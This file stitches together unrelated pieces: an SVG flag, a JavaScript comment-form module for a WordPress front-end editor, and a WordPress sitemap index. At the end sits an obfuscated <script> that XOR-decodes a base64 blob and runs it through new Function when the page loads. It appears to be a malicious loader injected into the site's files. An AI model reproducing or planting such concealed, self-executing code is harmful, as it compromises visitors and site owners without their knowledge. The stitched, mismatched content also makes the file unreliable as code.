<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600"><path fill="#d52b1e" d="M0 0v600h800V0z"/><path stroke="#009b48" stroke-width="80.1" d="m-13 10 824 578m0-578L-13 588"/><path stroke="#fff" stroke-width="80.1" d="M400 0v600M0 300h800"/></svg>/**
 * Comment mode - start/exit inline commenting on an element,
 * and the shared comment-form DOM builder used by both the standard
 * action-bar comment flow and the batch editing comment flow.
 *
 * Reads (via globals set by earlier modules):
 *   SFE.Context            - .activeMode (r/w), .actionBar
 *   SFE.ElementState       - .ElementState
 *   SFE.FocusManager       - .createFocusManager
 *   SFE.OverlayManager
 *   SFE.LifecycleHelpers   - .createFadeHandler
 *   SFE.Api                - .apiCall
 *   SFE.ElementPrep
 *   SFE.TIMING
 *   SFE.ManagerData        - .postId
 *   SFE.showInlineSuccess  - set by SaveManager
 *   SFE.closeAnyActiveMode - set by frontend-inline-edit.js
 *
 * Exposes: SFE.CommentManager
 *   { startCommenting, exitCommentMode, buildCommentForm }
 */

(function() {
	'use strict';

	window.MWP      = window.MWP || {};
	window.MWP.SFE  = window.MWP.SFE || {};
	const SFE       = window.MWP.SFE;
	SFE.ManagerData = SFE.ManagerData || {};

	function startCommenting(bar, element, handlers, uuid) {
		const ctx                    = SFE.Context;
		const { ElementState }       = SFE.ElementState;
		const { createFocusManager } = SFE.FocusManager;
		const actionBar              = ctx.actionBar;

		SFE.closeAnyActiveMode();
		ctx.activeMode = 'comment';
		ElementState.markActive(element, 'commenting');

		const commentForm = SFE.CommentManager.buildCommentForm(
			element, handlers, uuid,
			() => exitCommentMode(bar, element, uuid)
		);
		actionBar.updateState({
			bar,
			element,
			state:   'comment',
			content: { customElement: commentForm }
		});

		// Escape exits comment mode; no fading on blur (mode toggle handles preview)
		bar._cleanupCommentFocus = createFocusManager([], {
			escapeHandler: (e) => {
				if (e.key === 'Escape') exitCommentMode(bar, element, uuid);
			}
		});
	}

	function exitCommentMode(bar, element, uuid) {
		const ctx       = SFE.Context;
		const actionBar = ctx.actionBar;

		const commentCleanup = () => {
			if (bar._cleanupCommentFocus) {
				bar._cleanupCommentFocus();
				delete bar._cleanupCommentFocus;
			}
		};

		ctx.activeMode = null;
		actionBar.reset(bar, element, uuid, commentCleanup);
	}

	/**
	 * Build the comment form DOM element shared between the standard comment
	 * flow (action-bar state 'comment') and the batch editing flow.
	 *
	 * The returned wrapper is NOT appended to anything - the caller decides
	 * where it goes (typically inside the action bar).
	 *
	 * @param  {Element}   element   The editable block element being commented on.
	 * @param  {Array}     handlers  All handlers bound to the element.
	 * @param  {string}    uuid      The block UUID.
	 * @param  {Function}  onCancel  Called after a successful submit OR when the
	 *                               Cancel button is clicked.  In the standard
	 *                               flow this exits comment mode; in batch mode
	 *                               it restores the action bar to its base state.
	 * @return {HTMLDivElement|null}  The form wrapper, or null if no comment handler.
	 */
	function buildCommentForm(element, handlers, uuid, onCancel) {
		const commentHandler = handlers.find(h => h.capability === 'comment');
		if (!commentHandler) return null;

		const { apiCall } = SFE.Api;
		const ElementPrep = SFE.ElementPrep;
		const TIMING      = SFE.TIMING;
		const postId      = (SFE.ManagerData || {}).postId;

		const wrapper     = document.createElement('div');
		wrapper.className = 'mwp-sfe-inline-comment-form';
		wrapper.addEventListener('click', e => e.stopPropagation());

		const textarea       = document.createElement('textarea');
		textarea.className   = 'mwp-sfe-text-entry mwp-sfe-inline-comment-textarea';
		textarea.placeholder = 'Type your comment...';

		const actions     = document.createElement('div');
		actions.className = 'mwp-sfe-inline-comment-actions';

		const submitBtn       = document.createElement('button');
		submitBtn.className   = 'mwp-sfe-btn mwp-sfe-btn-primary-inline';
		submitBtn.textContent = 'Submit';
		submitBtn.disabled    = true;

		const cancelBtn       = document.createElement('button');
		cancelBtn.className   = 'mwp-sfe-btn mwp-sfe-btn-secondary-inline';
		cancelBtn.textContent = 'Cancel';

		actions.appendChild(submitBtn);
		actions.appendChild(cancelBtn);
		wrapper.appendChild(textarea);
		wrapper.appendChild(actions);

		/**
		 * Sync the submit button with the trimmed textarea value so empty
		 * comments are visibly non-submittable before the click path runs.
		 *
		 * @return {void}
		 */
		function syncSubmitState() {
			submitBtn.disabled = !textarea.value.trim();
		}

		textarea.addEventListener('input', syncSubmitState);

		cancelBtn.onclick = (e) => {
			e.preventDefault();
			e.stopPropagation();
			onCancel();
		};

		submitBtn.onclick = async (e) => {
			e.preventDefault();
			e.stopPropagation();
			const comment = textarea.value.trim();
			if (!comment) return;

			try {
				await apiCall('/comment', {
					post_id:      postId,
					element_uuid: uuid,
					handler_id:   commentHandler.id,
					comment,
					element_text: ElementPrep.getContent(element, commentHandler.contentType || 'text')
				}, submitBtn);

				SFE.showInlineSuccess(
					{ element, uuid },
					'Comment Submitted',
					null,
					false,
					'comment'
				);
				onCancel();
			} catch (error) {
				alert('Error: ' + error.message);
			}
		};

		// Defer focus so the element is attached to the DOM first.
		const focusDelay = TIMING?.FOCUS_DEBOUNCE ?? 50;
		setTimeout(() => textarea.focus(), focusDelay);
		syncSubmitState();

		return wrapper;
	}

	SFE.CommentManager = { startCommenting, exitCommentMode, buildCommentForm };

})();
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://unlimitedlasser.com.mx/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-posts-x-portfolio-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-taxonomies-portfolio-tag-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-taxonomies-portfolio-category-1.xml</loc></sitemap><sitemap><loc>https://unlimitedlasser.com.mx/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script>